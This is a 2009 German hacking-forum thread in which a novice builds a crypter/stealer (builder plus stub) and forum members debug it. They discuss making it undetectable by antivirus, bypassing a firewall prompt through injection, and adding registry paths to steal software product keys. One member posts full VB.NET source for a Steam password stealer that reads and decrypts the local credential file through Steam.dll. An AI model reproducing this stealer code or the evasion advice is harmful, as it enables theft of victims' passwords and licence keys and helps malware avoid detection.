Habe gerade alles so gemacht wie in dem V-TuT von ThePapst, doch bei mir klappt das irgendwie nicht so.
Ich erstelle eine Server.exe, doch wenn ich sie starte, kommt immer eine Fehlermeldung.
Zitat:
See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.
************** Exception Text **************
System.IndexOutOfRangeException: Index was outside the bounds of the array.
at Stub.frmMain.frmMain_Load(Object sender, EventArgs e)
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Mes sage& m)
at System.Windows.Forms.ContainerControl.WndProc(Mess age& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.O nMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.W ndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.
When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.
Das kommt, wenn ich auf Details klicke. Rechts davon ist noch Continue und Quit.
was muss ich ändern?
braucht ihr den Code vom Builder oder vom Stub?
13.06.2009, 16:56
Sawyer
Zitat:
braucht ihr den Code vom Builder oder vom Stub?
Wäre nicht schlecht , die Fehlermeldung sagt wennig aus
passiert das eigentlich bei jedem Programm ? oder nur bei diesem speziellen Fall?
MfG
13.06.2009, 16:57
Kolabi
Poste mal den Source Code,du hast wohl eine unhandled Exception.
13.06.2009, 17:01
DK007
@ThePapst was meinst du mit jedem Programm? Das ist mein erstes Programm/Crypter.
Es passiert nur, wenn ich auf die Server.exe klicke.
@Kolabi, welchen? den vom Stub oder vom Builder?
13.06.2009, 17:09
Sawyer
Zitat:
@Kolabi, welchen? den vom Stub oder vom Builder?
Poste einfach mal beide , das kann zum einen an dem builder liegen , der die Daten falsch oder gar nicht an die Datei schreibt , oder an der stub , das kann man schlecht sagen
MfG
13.06.2009, 17:17
DK007
Ok hier vom Builder
achja hät noch eine kurze Frage: wie mach ich das so, dass wenn ich mein Passwort schreibe, die buchstaben nicht zu erkennen sind, sondern dass kleine schwarze Punkte sichtbar sind?
Hoffe ihr könnt mir helfen.
13.06.2009, 17:26
Sawyer
Zitat:
FileGet(1, Einstellungen.Value, LOF(1) - 99)
Wenn du eine Länge von 200 hast , musst du hier -199 setzen
Das ist das einzige was mir jetzt mal aufgefallen ist
Zitat:
achja hät noch eine kurze Frage: wie mach ich das so, dass wenn ich mein Passwort schreibe, die buchstaben nicht zu erkennen sind, sondern dass kleine schwarze Punkte sichtbar sind?
Entweder du setzt in die eigenschaft PasswordChar von der Textbox ein Zeichen wie *
oder noch schöner setze die eigenschaft "UseSystemPasswordChar" auf true
MfG
13.06.2009, 17:37
DK007
Wo schreibe ich das mit UseSystemPasswordChar hin?
Teste mal ob es funktioniert, wenn ich das auf -199 setze.
13.06.2009, 17:42
Sawyer
Zitat:
Wo schreibe ich das mit UseSystemPasswordChar hin?
Markiere einfach die TextBox und setze die Einstellung in den Properties auf True
Ok danke.
Achja habs auf -199 gestellt.
Funktioniert jetzt :D
eine letzte frage hät ich noch.
Also wenn ich den server starte, fragt mich immer ZoneAlarm, ob dieser server eine verbindung ins internet aufbauen darf. Kann man das umgehen?
Das sie fud ist ist normal. nach jedem neu compilen wird sie noch mehr undtecter...
zu zonealaram:
ohne injection: nein
13.06.2009, 18:06
DK007
hää wie jetzt?
Zitat:
nach jedem neu compilen wird sie noch mehr undtecter...
also immer wieder wenn ich eine server.exe erstelle? oder wenn ich immer wieder einen neuen crypter programmiere?
Achja wie lautet der Pfad zu FireFox 1-3, IE, Steam, Windows Live Messenger , ICQ und FTP?
danke im voraus
13.06.2009, 18:14
Sawyer
Zitat:
Achja wie lautet der Pfad zu FireFox 1-3, IE, Steam, Windows Live Messenger , ICQ und FTP?
Dafür musst du eine Decryption schreiben , man kann diese nicht einfach aus der Registry Lesen
bezüglich FUD: warum soll eine Datei erkannt werden , an dessen ende ein paar Bytezeilen stehen ?
also das es FUD ist ist eigentlich nur logisch
MfG
13.06.2009, 18:18
CyphaX
sei doch zufrieden, falls er echt fud ist, und falls die verbindung klappt und alles ;)
13.06.2009, 18:22
DK007
Aso ok.
Danke.
Ich will gerne noch ein serial rauskriegen. beispielsweise von Adobe Photoshop CS4.
habs schon in die richtige form geschrieben:
{"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
Wie füge ich das jetzt nach dies jetzt nach: Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"} hinzu?
so funktioniert es irgendwie nicht:
Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"} & {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
so auch nicht
Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}
Dim Schlüssel As String() = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
13.06.2009, 18:39
hackerking
Du musst die in ein einzelnes String packen. Dafür sind Arrays da. z. B.:
Zitat:
Dim Schlüssel(2) As String
Schlüssel(0) = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
Ich persönlich würds aber bissel anders machen (nein nich jeden key einzeln^^)
13.06.2009, 19:12
DK007
@hackerking
danke werd ich probieren.
wie würdest du es denn machen?
Edit
habs mal probiert, aber bei mir kommt dann immer Error:
Value of type '1-dimensional array of String' cannot be converted to 'String'.
Hab nur das hingeschrieben
Dim SchlüsselInformationen As String()
Dim Schlüssel(2) As String
Schlüssel(0) = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
Schlüssel(1) = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}
14.06.2009, 09:13
Sawyer
Da sieht man einfach mal das Hackerking von Arrays keine ahnung hat :rolleyes:
Wie will man den bitte einem Array (das noch keine feste Größe hat) per index einträge hinzufügen ?
Das würde in diesem Fall nur funktionieren , wenn man das array gleich mit einer festen größe intilitalisiert.
@ DK007
Also du musst es so machen , da du ja eine direkte Zuweisung vornehmen willst^^
Code:
Dim Schlüssel As String() = _
{"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey" _
, "TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}
Die unterstriche am Ende dienen dafür um es auf die nächste Zeile verteilen zu können , sieht meiner Meinung nach besser aus , vorallem wenn man mehrere keys benutzt , kann sonst ziemlich unübersichtlich werden ;)
Du musst nur darauf achten das du zwischen jedem neuen key ein Komma setzt.
MfG
14.06.2009, 09:36
DK007
ok danke ThePapst.
Warst mir eine große hilfe.
Habe auch das hier gelesen. http://free-hack.com/showthread.php?...ght=decryption und wollte fragen ob die jetzt etwas mehr weißt?
könntest du dann eventuell auch ein v-tut dafür machen?
danke im voraus
14.06.2009, 10:12
krusty
soweit ich weiß ist in dem code alles richtig, musst dann halt lokal auf deinem rechner decrypten
14.06.2009, 10:27
Sawyer
Zitat:
Zitat von krusty
soweit ich weiß ist in dem code alles richtig, musst dann halt lokal auf deinem rechner decrypten
naja da bin ich mir nicht so sicher , gibt ja einen source von igoe , probiert einfach mal den^^
<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function
Sub Main(ByVal args() As String)
On Error Resume Next
Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
Dim decryptedDataSize As Integer = 0
Dim pwd As New StringBuilder
Dim F As Object
Dim sInhalt As String
Dim Phrase As Double
Dim zwischen As Double = "0"
Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")
Console.Title = "SteamReader>>"
F = FreeFile()
FileOpen(F, Datei, OpenMode.Binary)
sInhalt = InputString(F, LOF(F))
Phrase = InStr(1, sInhalt, "Phrase")
sInhalt = Mid(sInhalt, Phrase + 16)
Dim PWnew As String = (Left(sInhalt, 92))
Dim encpwd As String = (Left(sInhalt, 92))
FileClose(F)
pwd.Length = encpwd.Length / 2
If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
Console.Write(" Username: ")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 1
If drc.Name = "SourceMods" Then GoTo 1
Console.Write(drc.Name & ", ")
1:
Next
Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
Console.ReadLine()
Else
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 2
If drc.Name = "SourceMods" Then GoTo 2
Console.Write(drc.Name & ", ")
2:
Next
Console.ReadLine()
End If
End Sub
End Module
MfG
14.06.2009, 10:54
DK007
Wo füge ich das ein?
Bei der Stub? Wenn ja wo genau?
14.06.2009, 11:03
Bozok
Oh nein, die Frage ist legendär.
Ich kann nur sagen: Entweder lerne die Basics oder wuchtel weiter mit Trojanern und Stealern rum :/